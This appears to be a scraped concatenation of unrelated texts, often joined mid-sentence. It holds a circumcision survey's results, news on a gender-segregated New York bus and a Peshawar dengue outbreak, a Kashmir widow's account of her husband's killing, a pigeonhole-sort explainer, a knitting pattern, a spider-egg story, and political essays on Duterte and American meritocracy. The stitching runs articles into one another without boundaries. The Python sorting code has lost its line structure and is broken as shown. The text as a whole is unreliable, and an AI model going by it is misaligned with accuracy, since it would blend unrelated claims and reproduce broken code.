Of 10 916 invited persons (5395 men, 5521 women), 7275 (67%) underwent the initial personal interview and, of these, 76% (2573 men, 2979 women) returned the self-administered questionnaire, yielding overall participation rates of 48% for men and 54% for women. There were some sociodemographic differences between participants and non-participants, with non-participants comprising those who did not participate at all and those who underwent the personal interview but did not return the questionnaire. Participation rates were lower among individuals who were not currently married, those aged <40 or ≥70 years, and those living in the capital area. Moreover, according to information obtained in the personal interview, non-participants had poorer self-rated overall health, shorter school attendance, and shorter post-secondary education than participants (chi-squared tests; all P < 0.01).
Men
Of the 2573 men, 87 (3%) had never had sexual intercourse, and another 141 (5%) did not provide information about their circumcision status. Selected background characteristics for the 2345 sexually experienced men who stated their circumcision status are shown in Table 1. Overall, 125 men (5%) reported that they were circumcised, with little variation by age, membership |
opportunities to increase transparency in other federal programs,” a White House official told POLITICO. “The level of transparency and accountability in the Recovery Act is a model for other federal programs.”
Issa and Devaney have had a positive working relationship during the implementation of the stimulus law.New York City has threatened to close a bus service run by Orthodox Jews if it doesn’t stop segregating its seats and forcing women to sit at the back of the bus, according to Time.
The Private Transportation Corp., operates the public B110 bus under a franchise agreement with the city, It has been heavily criticized after news reports made known that the bus makes women "give up their seats in the front to promote Hasidic customs of gender separation," Reuters reported.
According to Fox News, the executive director of the city’s Department of Transportation (DOT), Anne Koenig, has asked the bus service to respond to the allegations. Private Transportation Corp. has declined to comment.
"Please be advised that a practice of requiring women to ride in the back... would constitute a direct violation of your franchise agreement and may lead to termination of that agreement," Koenig wrote in a letter to the corporation, according to Reuters.
The bus line — in operation since 1973 — runs in a predominantly Hasidic Jewish area and does not run on Friday nights or Saturdays, which follows the Hasidic custom of observing Shabbat, or the Sabbath rest.
Time reports:
For men and women in ultra-conservative religious traditions, keeping the sexes separate is still fairly routine. Women often sit behind men or a barrier in mosques. The Amish also require different seating areas in worship services. And Hasidic Jews similarly require men to sit or walk in front of women since even seeing them would violate purity.
The DOT will not accept religious grounds as an excuse, Fox New reported.
“No exception from... these [anti-discrimination] requirements has been given to your company,” the letter stated.
In separate instances, two female reporters covering the story were told by bus drivers that they were not allowed to sit in the front of the bus because it was reserved for male passengers. According to Reuters, the story came to light after a student from the Columbia Journalism School reported the story.23 years later, Munawar Sultana is still fighting a legal battle to have the army punished for her beloved husband’s murder
SRINAGAR: On December 2, 1992, Munawar Sultana and Gowher Amin Bahadur of Srinagar’s Batamaloo entered into the sacred bond of marriage. It was an unconventional time for a marriage in Kashmir, given the chill of December. But it was the early 90s, time of curfews, strikes, crackdowns, abductions, custodial killings, fake encounters, disappearances, torture and rapes. “The wedding was set in November initially, but then in November Shaheed Hamid Sheikh was killed, so we had to postpone it to December,” Munawar Sultana, who was 22 at that time, says.
The newlywed couple loved every bit of time they spent together. Sultana had been won over by the kind and caring nature of Gowher. “He was an angel in human form. He couldn’t see anybody suffer, and would help even the passerby,” she says in a wistful tone.
Munawar remembers how Gowher would carry school children walking on the road on his back. He said that he could not see children looking tired. “If only he could have seen his own child, let alone carry him on his shoulders,” rues Munawar.
Four months after their marriage, on April 8, 1993, Batamaloo was cordoned by Indian Army soldiers. An announcement was made on loudspeaker that all the men living in the area had to come out for identification parade at the general bus stand Batamaloo. Gowher Amin was 21 years of age at the time. He followed the orders and rushed out to the bus stand. There he saw boys as young as 13 present for the parade. It was a hot day and Gowher thought of fetching water for these young boys thirsting under the sun.
“There was a tap nearby. Gowher picked up a bucket and went to fetch water for the thirsty,” Munawar says. This act of ‘defiance’ annoyed the commanding officer, JS Shekhawat.
“Three boys were picked up that day along with my husband. They were taken to a nearby mohalla where two of them were killed in a cowshed and one was released. The commanding officer said to the released guy, “Woh jo tumhara baap ban raha tha, usko hum ne maar diya (The one who was trying to be your father, we have killed him),” Munawar narrates.
Gowher’s only fault had been to serve water to the thirsty. For that he was killed, bullets pumped into him, to satisfy the ego of one man with too much power.
When the lifeless and limp body of Gowher Amin Bahadur, 21, arrived at her door, the young bride and pregnant mother did her best to let out her grief, her helplessness, and her anger in wails and tears and pounding fists on her breast. She saw her husband’s body and what followed was much denial, much senselessness, before the reality of having become a widow settled in.
On June 6 this year, I met the lady with whom I had been talking on phone for the past five days. It was through an acquaintance that I came to know about Munawar Sultana. I was looking for people who had accepted compensation provided by the government. As soon as I got her number, I called her. She was suffering from a throat infection, which had made her voice hoarse. She sounded like an old woman, though her age is only 45. Both in mind and in body she has aged beyond her years.
Since the day her husband was killed in what was described by the army as an “encounter”, Munawar Sulatana has been fighting a lone battle for justice. She lives with her son, now 22 years old, in a rented house near her parents’ home in Batamaloo.
“It’s a tough job, you know, raising a kid who has lost his father. All your life you try to hide things from him and then suddenly you can’t hide it anymore,” she says. “It was a real hard task to make sure my son did not fall into bad company.”
For many years Munawar hid from her son the identity of his father. “Till he was in Class 9, he didn’t know who his father was. But then, somehow, he came to know about what had happened to his father and all hell broke loose. Even then I did not let it affect his life. I kept him away from all the court proceedings,” says the resolute Munawar.
Munawar raised her son on her own. She sold her jewellery to buy an auto rickshaw which she gave to a driver on rent. “But the driver cheated me of money. He would cite technical problems with the auto every day, so I went to the mechanic defying all the social restrictions and told him to send me a bill every time there is a repair.”
“You know in our society it is considered a taboo to do things that are meant to be done by men, but I had no other option but to be father to my son. I would even take my son to the barber’s shop, where I felt so humiliated that it will always haunt me,” Munawar says and starts crying, a stream of tears falling from her eyes. A fit of cough follows, interrupting her narration.
“I have suffered a lot, from illnesses to taunts, but I will never give up. Look at that bed,” she points towards her single bed, where lie strips of medicine, a water bottle, and a neck collar. The struggle has taken its toll on this courageous woman. She calls it “a struggle of two decades against the world’s biggest democracy.”
“There hasn’t been a single place where I have not gone to seek justice,” she says.
She remembers every single detail about the case and carries a file that contains records of every court proceeding. She recalls an incident in which she heard from a prosecution lawyer that the army officer JS Shekhawat was involved in Operation Blue Star as well, and that he was sent to Kashmir only to catch and kill.
Although Munawar has gone from pillar to post to seek justice, in 2006 she almost gave up. She developed severe back problems, a slipped disc. It was only after repeated calls by Mian Abdul Qayoom of the State Human Rights Commission that she returned to pursue the case, ultimately securing a Rs 2-lakh compensation and a job for her son.
“To me, getting the compensation was a victory, not in the sense that I got some money and a job for my son, but because it established that the state had done wrong, to set right which it was compensating. That was the only reason I accepted it, otherwise how is two lakh rupees going to compensate my husband’s loss. I spent so much on the case, these few bucks were spent on transport I suppose,” she says.
Munawar is quite bitter about the Indian judicial system. “If they uphold what is right, it will be a big stain on their democracy, and their image will be dented, for thousands of their high-ranked officers will end up behind bars,” she says.
Ruing the fact that the killers of her husband are still roaming free, Munawar nevertheless is determined to not let go of the little hope for justice.
“Why doesn’t the state punish the culprits? No matter what, I will not give up. I won’t let India deny me justice,” she says.
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MoreDengue victims raise ‘Go Imran Go’ slogans in Peshawar
PESHAWAR: The residents of Tehkal area of Peshawar set up a protest camp and staged a demonstration against the Khyber Pakhtunkhwa government’s failure to control the dengue virus, chanting ‘Go Imran Go’ and 'Go Khattak Go' slogans.
The protesters also chanted slogans against District Nazim Arbab Asim and complained that the dengue virus has become an epidemic as it has caused several deaths, while hundreds of others have been hospitalised in the province. They said that district and health administration officials visit the area for photo session. “District Nazim Arbab Asim cancelled his visit to the area fearing he may contract dengue fever,” commented a local resident.
The alleged negligence of the KP government to control dengue has apparently prompted Punjab Chief Minister Shahbaz Sharif to extend cooperation to the Khyber Pakhtunkhwa government in handling the outbreak of the virus.
Shahbaz Sharif has directed his provincial health minister to approach the federal Health Department and cooperate with the KP government in overcoming the situation. "The residents of KP are our own blood and kin. The Punjab government will extend full cooperation to KP government for fighting dengue. We must all take care of each other," Shahbaz Sharif said on his Twitter account on Friday.
The Pakistan Tehreek-e-Insaf-led provincial government has not responded yet whether it will receive the assistance offered by the Punjab government. The KP government and particularly its health department is already under fire for its sheer negligence and failure in taking prior measures to avoid outbreak of dengue virus.
The KP government came out of hibernation when in the last week of July 2017 dengue virus hit Tehkal area of the provincial capital and hundreds of patients were hospitalised in Khyber Teaching Hospital (KTH) Peshawar. According to the hospital administration, five patients brought to them with dengue virus had already expired while dozens others were still admitted in different hospitals of the province.
Initially, Tehkal in Peshawar was the worst affected locality where hundreds of people were diagnosed with dengue virus but long silence of the provincial government helped the virus to spread to other parts of the city. Now besides Tehkal, patients from other areas such as Mohallah Gujran Charanda, Mohallah Daudzai, Tehkal Payan, Pishtakhara, Bala Kanday, Chato Pump and Warsak Road in Peshawar were also taken to KTH and were diagnosed with dengue virus.
Since July, KTH received 3,980 patients with symptoms similar to dengue fever and 614 of them were diagnosed with dengue virus. The KTH administration has spared two medical wards for the patients brought with dengue fever and is providing free drugs and investigations to them. The hospital administration said 120 patients diagnosed with dengue virus were still under treatment in the hospital.
Sources in the provincial Health Department told The News that the people couldn't benefit from the Rs400 million funds provided by the international community for eradication of malaria and dengue virus in the province.
"The KP government and its Health Department is primarily responsible for this negligence that has become an outbreak now. The government didn't utilise huge funds and failed to make purchase of larvicides and pesticides in the beginning of the season to handle malaria and dengue virus," said a high-ranking government official on condition of anonymity.
He claimed the government was informed much before outbreak of the dengue virus about large scale irregularities in the malaria and dengue programme at provincial level. He further claimed that a high level committee headed by two deputy secretaries recommended fact-finding inquiry in the programme but nothing happened.
"The inquiry committee headed by two deputy secretaries found irregularities in the programme and recommended formation of a fact-finding committee. Dr Tahir Nadim and Dr Said Ali Khan were appointed members of the committee. But those responsible for the irregularities were influential enough that first they excluded Dr Tahir Nadim from the committee and then Dr Said Ali Khan, thus the issue was kept secret," said the senior government official.
He said the proposed fact-finding committee would have exposed senior government officials had it was given a chance to work. He said the committee had recommended an inquiry of the programme right from 2008 and onward.
"It is very unfortunate as funds provided for saving precious human lives were not properly utilised. The programme was provided 225,000 nets by Unicef during the previous government which didn't reach the deserving people and were sold in the market," he said.
He said there are 3,000 nets still lying in the warehouse of the programme but not a single net was either provided to the victims of dengue virus nor drugs were given to them from funds of the programme. He said the programme is presently being run by an influential manager alone and almost all other positions are lying vacant.Pigeonhole sort Class Sorting algorithm Data structure Array Worst-case performance O ( N + n ) {\displaystyle O(N+n)} N is the range of key values and n is the input size Worst-case space complexity O ( N + n ) {\displaystyle O(N+n)}
Pigeonhole sorting is a sorting algorithm that is suitable for sorting lists of elements where the number of elements (n) and the length of the range of possible key values (N) are approximately the same.[1] It requires O(n + N) time. It is similar to counting sort, but differs in that it "moves items twice: once to the bucket array and again to the final destination [whereas] counting sort builds an auxiliary array then uses the array to compute each item's final destination and move the item there."[2]
The pigeonhole algorithm works as follows:
Given an array of values to be sorted, set up an auxiliary array of initially empty "pigeonholes," one pigeonhole for each key through the range of the original array. Going over the original array, put each value into the pigeonhole corresponding to its key, such that each pigeonhole eventually contains a list of all values with that key. Iterate over the pigeonhole array in order, and put elements from non-empty pigeonholes back into the original array.
Example [ edit ]
Suppose one were sorting these value pairs by their first element:
(5, "hello")
(3, "pie")
(8, "apple")
(5, "king")
For each value between 3 and 8 we set up a pigeonhole, then move each element to its pigeonhole:
3: (3, "pie")
4:
5: (5, "hello"), (5, "king")
6:
7:
8: (8, "apple")
The pigeonhole array is then iterated over in order, and the elements are moved back to the original list.
The difference between pigeonhole sort and counting sort is that in counting sort, the auxiliary array does not contain lists of input elements, only counts:
3: 1
4: 0
5: 2
6: 0
7: 0
8: 1
Using this information, one could perform a series of exchanges on the input array that would put it in order, moving items only once.
For arrays where N is much larger than n, bucket sort is a generalization that is more efficient in space and time.
Python implementation [ edit ]
def pigeonhole_sort ( a ): mi = min ( a ) size = max ( a ) - mi + 1 holes = [ 0 ] * size for x in a : holes [ x - mi ] += 1 i = 0 for count in xrange ( size ): while holes [ count ] > 0 : holes [ count ] -= 1 a [ i ] = count + mi i += 1
See also [ edit ]India has come up with a 1500 rupee ($39) touchscreen laptop - a computing prototype it aims to make available to students from elementary schools to universities.
The gadget, developed by the elite Indian Institute of Technology and the Indian Institute of Science, is part of a push to give students a better education and technical skills needed to boost India's economic growth.
The first users are expected to be university students, with introduction of the Linux-based device targeted for next year.
The ministry is going to install broadband internet at all of its 22,000 colleges so students can use the device, government spokeswoman Mamta Verma told AFP on Friday in New Delhi.
The tablet gadget, which can be run on solar power, is equipped with an internet browser, video-conferencing capability and a media player, among other facilities.If you saw the Hyrule Warriors trailer and had covetous feelings about Link’s scarf, then this is the knitting pattern for you! See my finished result here
Materials:
Size US 3 16” circular knitting needles
NOTE: When switching from one color to another, I highly recommend you use the jogless stripe technique. You can find out how to do this in this video
Pattern:
With CC1, CO 102 stitches. Work in St st for 12 rounds.
Switch to MC and work St st for 12 rounds.
Switch to CC1 and work St st for 6 rounds.
Switch to MC and work St st until scarf is about 69” long (or desired length) from CO edge.
Switch to CC1 and work 6 rounds of St st.
Switch to MC and work 12 rounds of St st.
Switch to CC1 and work 12 rounds of St st. Cast off.
Using both CC1 and CC2, duplicate stitch the Hylian crest pattern onto both ends of the scarf, placing it 6 rounds above each second red stripe. Before stitching a second Hylian crest, make sure that you have flattened the scarf in such a way that you can see the two crests will be aligned. Sew each end of the scarf shut, and add red fringe if desired.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
A mother was told to burn her belongings after finding the eggs of one of the world's most venomous spiders nestled in a bunch of bananas at her home in Essex.
Abby Woodgate, 30, was given a fright when she was told the eggs she found on bananas bought from Tesco's belonged to a Brazilian wandering spider.
The arachnid's venom can cause paralysis and asphyxiation. In smaller doses it has been used to treat erectile dysfunction, with its bite previously known to have caused erections lasting up to four hours.
Pest control experts told Mrs Woodgate to destroy the vacuum cleaner she had used to clean up the eggs, as well as anything else that had come into contact with them.
When she first saw the eggs, she thought they had been mould growing on the fruit which she threw in the bin.
Those eggs which spilled onto the floor were hoovered up.
She immediately called Tesco, who delivered the shopping, and was told they would collect them. The store called again and said pest control would be round instead.
Mrs Woodgate told the Colchester Gazette: “The pest controllers asked where the eggs were and I told them the bin and they said 'right, we'll take that’.
“Then they asked had anything else come into contact with the eggs, and I told them about my vacuum cleaner, so they said 'we'll have to take that too'. All they could tell me is they thought they were tropical spider eggs.”
A Tesco spokesman said: “We set ourselves high standards for the food we sell and were concerned to hear of this incident. We’ve offered Mrs Woodgate a gesture of goodwill and arranged for pest control to remove the product. We will be asking our supplier to investigate."
Pest control experts told her the spiders are unlikely to hatch because temperatures in the UK are too cold and it was necessary to fumigate her home.
Last November a Tesco in Kent was forced to close after a Brazilian wandering spider was discovered under a box of bananas.'Like the anti-Marcos resistance 4 decades back, the only certainty members of the anti-fascist front can count on is that they’re doing the right thing. And that, for some, is a certainty worth dying for'
Published 9:41 AM, January 02, 2017
Fascism, someone wrote, comes in different forms to different societies so that people expecting fascism to develop in the “classic way” fail to recognize it even when it is already upon them. In 2016, fascism came to the Philippines in the form of Rodrigo Duterte, but this event continues to elude a large part of the citizenry, some owing to fierce loyalty to the president, some out of fear of what the political and ethical consequences would be of admitting that naked force is now the ruling principle in Philippine politics.
Why Duterte fits the 'F' word
At a panel I was part of in August of last year, one month after Duterte ascended to the presidency, there was considerable hesitation in using what panelists euphemistically called the “F” word to characterize the new Executive. There is an understandable reluctance to use the term fascist, undoubtedly because the word has been applied very loosely to all kinds of movements and leaders that depart, in some fashion, from liberal democratic practices, such as their propensity to resort to the use of force to achieve their political objectives.
However, there would probably be considerably less objection to the use of the word to describe Duterte if we see as central to the definition of a fascist leader a) a charismatic individual with strong inclinations toward authoritarian rule who b) derives his or her strength from a heated multiclass mass base, c) is engaged in or supports the systematic and massive violation of basic human, civil, and political rights, and d) proposes a political project that contradicts the fundamental values and aims of liberal democracy or social democracy.
If one were to accept these elements provisionally as the key characteristics of a fascist leader, then Duterte would easily fit the bill.
A fascist original
Having said that, one must nevertheless acknowledge that Duterte is a fascist personality that is an original.
His charisma is not the demiurgic sort like Hitler’s nor does it derive so much from an emotional personal identification with the people and nation as in the case with some populists. Duterte’s charisma would probably be best described as “carino brutal,” a volatile mix of will to power, a commanding personality, and gangster charm that fulfills his followers’ deep-seated yearning for a father figure who will finally end the national chaos.
Duterte is not a reactionary seeking to restore a mythical past. He is not a conservative dedicated to defending the status quo. His project is oriented towards an authoritarian future. He is best described, using Arno Mayer’s term, as a counterrevolutionary. Unlike some of his predecessors, like Hitler and Mussolini, however, he is not waging a counterrevolution against the left or socialism. In Duterte’s case, the target, one can infer from his discourse and his actions, is liberal democracy, the dominant ideology and political system of our time. In this sense, he is both a local expression as well as a pioneer of an ongoing global phenomenon: the rebellion against liberal democratic values and liberal democratic discourse that Francis Fukuyama had declared as the “end of history” in the early 1990s.
Counterrevolutionaries are not always clear about what their next moves are, but they often have an instinctive sense of what would bring them closer to power. Ideological purity is not high on their agenda, with them putting the premium on the emotional power of their message rather on its ideological coherence. The low priority accorded to ideological coherence is also extended to political alliances. Duterte’s mobilization of a multiclass base and his ruling with the support of virtually all of the elite is unexceptional. However, one of the things that makes him a fascist original is that he has brought the dominant section of the left into his ruling coalition, something that would have been unthinkable with most previous fascist leaders.
But perhaps Duterte’s distinctive contribution to fascism as a political phenomenon is in the area of political methodology. The stylized paradigm of fascism coming to power has the fascist leader or party begin with violations of civil rights, followed by the power grab, then indiscriminate repression. Duterte turns this “Marcosian model” of “creeping fascism” around. He begins with impunity on a massive scale, that is, the extrajudicial killing of thousands of alleged drug users and pushers, and leaves the violations of civil liberties and the grab for absolute power as mopping up operations in a political landscape devoid of significant organized opposition.
A Product of EDSA
Duterte’s ascendancy cannot be understood without taking into consideration the debacle of the EDSA liberal democratic republic that was born in the uprising of 1986. In fact, EDSA’s failure was a condition for Duterte’s success.
What destroyed the EDSA project and paved the way for Duterte was the deadly combination of elite monopoly of the electoral system and neoliberal economic policies and the priority placed on foreign debt repayment imposed by Washington. By 2016, there was a yawning gap between the EDSA Republic’s promise of popular empowerment and wealth redistribution and the reality of massive poverty, scandalous inequality, and pervasive corruption.
And the EDSA Republic’s discourse of democracy, human rights, and rule of law had become a suffocating straitjacket for a majority of Filipinos who simply could not relate to it owing to the overpowering reality of their powerlessness. Duterte’s discourse – a mixture of outright death threats, basag-ulero language, and frenzied railing coupled with disdainful humor directed at the elite, whom he called “coños” or cunts – was a potent formula that proved exhilarating to his audience who felt themselves liberated from the stifling hypocrisy of the EDSA discourse.
Fascism in power
Probably no fascist personality since Hitler came to power in Germany in 1933 has used the mandate of a plurality at the polls to reshape the political arena more swiftly and decisively than Duterte in 2016. Even before he formally assumed office, the extrajudicial killings began; the elite opposition disintegrated, with some 98% of the so-called “Yellow Party,” the Liberals, joining the Duterte Coalition; and Duterte achieved total control of both houses of Congress.
The Supreme Court, shying away from a confrontation, chose not to challenge the President’s decision to have the former dictator, Ferdinand Marcos, buried in the Libingan ng mg Bayani. A traditional bulwark of defense of human rights, the Catholic Church, exercised self-censorship, afraid that in a confrontation with a popular president who threatened to expose bishops and priests with mistresses and clerical child abusers, it was going to be a sure loser.
A novice in foreign policy, Duterte was able to combine personal resentment with acute political instinct to radically reshape the Philippines’ relationship with the big powers, notably the United States. What surprised many though was that there was very little protest in the Philippines at Duterte’s geopolitical reorientation given the stereotype of Filipinos being “little brown brothers.” What protest there was came mainly from traditional anti-American quarters which evinced skepticism about the President’s avowed intentions.
Here, Duterte again showed himself to be a masterful instinctive politician. As many have observed, coexisting with admiration for the US and US institutions exhibited by ordinary Filipinos is a strong undercurrent of resentment at the colonial subjugation of the country by the US, the unequal treaties that Washington has foisted on the country, and the overwhelming impact of the “American way of life” on local culture. One need not delve into the complex psychology of Hegel’s master-servant dialectic to understand that the undercurrent of the US-Philippine relationship has been the “struggle for recognition” of the dominated party. Duterte has been able to tap into this emotional underside of Filipinos in a way that the left has never been able to with its anti-imperialist program.
The anti-American comments from Duterte supporters that filled cyberspace were just as fierce as their attacks on critics of his war on drugs. Like many of his authoritarian predecessors elsewhere, Duterte has been able to splice nationalism and authoritarianism in a very effective fashion, though many progressives have seen this as mainly motivated by opportunism.
What surprises are in store for us?
So what other surprises should we expect from this fascist original?
Perhaps the best way to approach the question of what is likely to come is to ask the following: What are the chinks in Duterte’s armor? How would they affect the pursuit of Duterte’s program? What are the prospects for the opposition?
There are chinks in the Duterte armor, and one of them is the health and age of the President. Duterte has been candid about his medical problems and his dependence on the drug fentanyl, reportedly a strongly addictive substance that is 50 to 100 times stronger than morphine and has the same effects as heroin. The age factor is not unimportant, considering that the President is turning 72. Hitler became chancellor at 44 and Mussolini became prime minister at 39. For the successful pursuit of an ambitious political project, one’s energy level is not unimportant.
More problematic is the issue of institutionalizing the movement. The force driving Duterte’s electoral insurgency has not yet been converted into a mass movement. Duterte’s key advisers have recognized this, their analysis being that the reason Joseph Estrada was ousted in 2001 was because he was not able to fall back on an organized mass movement to protect him. Jun Evasco, the secretary of the cabinet and a long-time Duterte aide, is the key person the President is relying on to fill the breach by forming the Kilusang Pagbabago (Movement for Reform) that was launched in August 2016.
Evasco’s vision is apparently a mass organization along the lines of those of the National Democratic Front, where he cut his political teeth. This won’t be easy since, as some analysts have pointed out, he would have to contend with competing projects from Duterte’s political allies, like the Pimentels, the Marcoses, and the Arroyos, who would prefer an old-style political formation that brings together elite personalities. Needless to say, a political formation along the lines of the latter would be the kiss of death for Duterte’s electoral insurgency.
A bigger hurdle would be failure to deliver on political and social reforms. Practically all of the key political and economic elites have declared allegiance to Duterte, so that one finds it difficult to see how he can deliver on his political and economic reform agenda without alienating key supporters.
The Marcoses, who still have their ill-gotten wealth stashed abroad, the Arroyos, who have been implicated in so many shady deals, and so many other elites, many of whom have cases pending before the Ombudsman, are not likely to be disciplined for corruption, especially given their very close links to Duterte. Nor will the Visayan Bloc, that has come in full force behind Duterte, agree to a law that will extend the very incomplete agrarian reform program. Nor will the big monopolists like Manuel Pangilinan and Ramon Ang, who have pledged fealty to him, submit without resistance to being divested of their corporate holdings.
This is not to say that Duterte is a puppet of the elites. Having a power base of his own that he can easily turn on friend or foe, he is beholden to no one. Indeed, one can argue that most of the elite have joined him mainly for their own protection, like small merchants paying protection money to the mafia. The issue, rather, is how serious he is about social reform and how willing he is to alienate his supporters among the elite.
The same goes for economic reform. Ending contractualization (or ENDO, for “End of Contract”), one of the President’s most prominent promises, is currently bogged down in efforts to arrive at a “win-win” solution for management and labor, and all the major labor federations are fast losing hope the administration will deliver on this.
As for macroeconomic policy, any departure from neoliberal principles on the part of orthodox technocrats like Budget Secretary Benjamin Diokno and National Economic and Development Authority Director General Ernesto Pernia is far-fetched. Again, the question lies in how convinced Duterte is that neoliberalism is a dead end and how willing he is to incur the technocratic and bureaucratic displeasure and loss of confidence on the part of foreign investors that would be elicited by adopting a different economic paradigm.
Social and economic reform is Duterte’s Achilles heel, and the President himself is aware that popularity is a commodity that can disappear quickly in the absence of meaningful reforms. Dissatisfaction is fertile ground for the build-up of opposition. This spells danger for the country in the medium term.
Even if he is able to quickly create a mass-based party, Duterte, to stay securely in power, would find that he would need to resort to the repressive apparatuses of the state to quell discontent and opposition. This may not be too difficult a course to follow. As noted earlier, having led a bloody campaign that has already claimed over 6,000 lives, the suspension of civil liberties and the imposition of permanent emergency rule would be in the nature of “mopping up” operations for Duterte. It would be a walk in the park.
The opposition
Does the opposition matter? The elite opposition is extremely weak at this point, with most of the Liberal Party having joined the Duterte bandwagon out of opportunism or fear. An opposition led by Vice President Leni Robredo, who resigned from Duterte’s cabinet after being told not to attend meetings, is not likely to be viable.
While undoubtedly possessing integrity, Robredo has shown poor judgment, receptiveness to bad advice, and little demonstrated capacity for national leadership, and is, in the view even of some of her supporters, largely a political creation of Liberal Party operatives who wanted to convert the name of her deceased husband, former Department of the Interior and Local Government head Jesse Robredo, into political capital.
Moreover, her continuing strong ties to the double-faced Liberal Party and the former administration lend her to becoming easily discredited among both Duterte supporters and opponents.
The Left in crisis
This brings up the Left.
Duterte’s coming to power created a crisis for the Left. For one sector of the Left, Akbayan, the social democratic Left that had allied itself uncritically with the Aquino administration, Duterte’s ascendancy meant their marginalization from power along with the Liberal Party, for which they had, with their leadership’s eyes wide open, become the grassroots organizing arm.
For the traditional, or what some called the “extreme left,” Duterte posed a problem of another kind. While the National Democratic Front and Communist Party had not supported Duterte’s candidacy, they accepted Duterte’s offer of 3 cabinet or Cabinet-level positions, as secretaries of the Department of Agrarian Reform and the Department of Social Welfare and Development and chair of the National Anti-Poverty Commission. They also accepted the president’s offer to initiate negotiations to arrive at a final peace agreement.
For Duterte, the entry of personalities associated with the Communist Party into his Cabinet provided a left gloss to his regime, a proof that he was progressive, “a socialist, but only up to my armpits,” as he put it colorfully during his victory speech in Davao City on June 4, 2016.
It soon became clear that Duterte had the better part of the bargain. As the regime’s central policy of killing drug users and pushers without due process escalated, the Left’s role in the Cabinet became increasingly difficult to justify. This dilemma was compounded by the fact that no new land reform law was passed that would allow agrarian reform to continue, there was little movement in the administration’s promise to end contractualization, and macroeconomic policy continued along neo-liberal lines.
The Left, however, found it hard to shelve the peace negotiations, from which they had already made some gains, and to part from heading up government agencies that gave them unparalleled governmental resources to expand their mass base.
Duterte had again displayed his acute political instincts. Knowing that the traditional Left was at ebb in its fortunes, he gambled that they would accept his offer of Cabinet positions. And having accepted these and agreeing to open up peace negotiations from which it could get many more concessions than it would have gotten under previous administrations, the Left, he knew, would find it extremely difficult to part from the positions of power it had gained.
The price, the leaders of the Left realized, would be high, and this was their association with a bloodthirsty regime. The Communist Party and its mass organizations tried to alleviate the contradiction by issuing statements condemning Duterte’s bloody policies. But this only made their dilemma keener, since people would ask, why then do you continue to provide legitimacy to this administration by staying on in the Cabinet? Unlike Hitler and Mussolini, Duterte brought the Left into his regime, but in doing so, he has been able to sandbag it and subordinate it as a political force. So far, that is.
Whether he is fully conscious of it or not, Duterte’s ascendancy has severely shaken all significant political institutions and political players in the country, from right to left.
Civil society mobilizes
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These institutional supports may be provided by the community, by a social group or class, or by the state. But it is through them that the larger society nurtures its members. Meritocratic individualism tends to blind us to these social supports, enabling individuals to then give full credit to themselves for their successes. It is precisely this blind spot that leads many to disown the very social supports that enabled their success. They don’t think about the federally ensured mortgages that made it possible for them to buy that house in the suburbs, the federal highway program that made it feasible to live far from where they work, the union that won better pay for their job so they could afford to move out of the city, the student aid programs and the university itself that provided an educational opportunity and prepared them for better jobs. And I could go on and on with the list of social supports that undergird the lifestyle of the middle classes: the health system that keeps them alive, the food standards programs that protects against unsafe food, the occupational safety and health agencies that protect them against unsafe working conditions, the social security program that lifts the burden of supporting elderly parents from the shoulders of young families and offers them some financial security in their own old age, etc., etc. Indeed, there are myriad ways that are not fully appreciated in which society supports its members. So a more complete formula would be “talent + effort + luck + social supports = success.”
The fact that the importance of social institutions is downplayed in the meritocratic individualist ideology has two effects. 1. Those who have benefited from those supports tend to deny that benefit, thinking that it will taint the merit of their accomplishments, and 2. It tends to undermine political support for the very institutions we need to support us. It leads to the self-congratulatory belief that “I built this myself,” to quote the Republican mantra in the recent campaign. The once-comfortable suburbanites failed to realize that it is not only the poor who benefit from social programs, but they themselves as well. That they have been blind to this is due to their own meritocratic individualistic ideology that can understand outcomes only in terms of individual effort and talent. This opened the way for what has now been a three-decade-long offensive by the right against social programs and government itself, leaving our fate in the invisible hand of “the market,” resulting in the end of the American Dream.
The Usefulness of Middle Classes
It is generally accepted that large, prosperous middle classes or middle strata are vital to the future of the United States. There are both economic and political reasons for this. Economically, the health of capitalism requires a large sector of consumers with sufficient income to be able to buy what is produced. That is a reality that Henry Ford taught a century ago when he raised the wages of his workers so they could buy his automobiles. Without effective consumer demand, capital cannot realize profits. That is a reality that has become evident in today’s long recession. Businesses are not investing, and jobs are not being created because there is low consumer demand due to high unemployment and high consumer debt. But that then results in higher unemployment in a vicious downward spiral that is evident to all those whose perceptions are reality-based. This has been pointed out twice a week by Paul Krugman in his New York Times columns. And now the point has been made by another Nobel economics prize winner, Joseph Stiglitz in his new book on inequality. The Price of Inequality: How Today’s Divided Society Endangers Our Future.
Politically, prosperous middle strata are important for stability. As the term middle “class” is usually used today, it involves an expectation of upward mobility, rising income and a comfortable and secure standard of living. It is this upward mobility that is of particular political importance. Political stability is enhanced by having a sizable sector of the population that believes it has an opportunity to improve its condition in the existing system – or at least its children do. That is why the existence of a middle “class” is widely considered to be of crucial importance for a stable democracy of the US type. It is at the heart of The American Dream.
The American Dream has been a key legitimating myth in our society. Regardless of the inequalities that exist, the injustices suffered, the sacrifices endured, the “American way of life” has been generally accepted as good by most of the population because it has been believed that it still offers the opportunity for upward mobility toward a better future. Thus this ideology has been a force for social stability. It has led many to accept the status quo, even to defend it, because of the expectation, if not the hope, that life will get better for them if they but work hard and play by the rules.
Legitimacy of systems questioned
With the growing downward mobility now being experienced, the social contract is unraveling. The legitimacy of the dominant institutions is being questioned. Public confidence in Congress as well as government is at an all-time low; large banks are viewed (correctly) as criminal; blind faith in market magic has been dispelled – and corporations are even seen as having betrayed the nation. The legitimacy of the system of capitalism is in crisis as sizable percentages now have a positive view of socialism as an alternative, particularly among the young (who have not known the rabid anticommunism of the Cold War era). As the national elections in 2008 and 2012 have shown, the people of the United States are asking for far-reaching changes, more change than the political elite is willing or even able to deliver.
If we limit our optic to the United States, even if we expand it to include the other advanced capitalist societies, the prospects for resumption of significant endogenous economic growth are dim. That has been the argument of Northwestern University economist Robert J. Gordon. In his widely discussed National Bureau of Economic Research paper, “Is U.S. Economic Growth Over?” Gordon predicts a dark future of “epochal decline in growth from the US record of the last 150 years.” The greatest innovations, Gordon argues, are behind us, with little prospect for transformative change along the lines of the three previous industrial revolutions.” It is summarized by Thomas B. Edsall, in “No More Industrial Revolutions?” in The New York Times.
